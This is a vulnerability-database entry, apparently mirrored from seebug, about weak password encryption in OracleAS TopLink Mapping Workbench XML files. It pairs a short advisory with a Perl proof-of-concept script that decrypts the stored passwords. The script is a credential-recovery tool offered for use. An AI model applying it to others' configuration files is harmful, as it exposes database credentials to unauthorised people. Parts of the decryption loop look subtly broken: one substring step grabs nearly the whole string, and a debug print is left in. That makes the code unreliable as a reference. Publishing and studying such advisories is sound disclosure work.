Lucene search
K

OracleAS TopLink Mapping Workbench Weak Encryption Algorithm Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

OracleAS TopLink Mapping Workbench Weak Encryption Algorith

Code

                                                source: http://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string/ /;
	$chars = length($encrypted);
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted));
	$i = 0;
	while (($chars / 2) >= $i + 1) {
		print $i;
		$int = hex($enc2);
		if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {  $result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,length($encrypted) - 1);
        	$encrypted = substr($encrypted,2,length($encrypted));
		$i++;	
		}
	print "$result\n";	
	}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation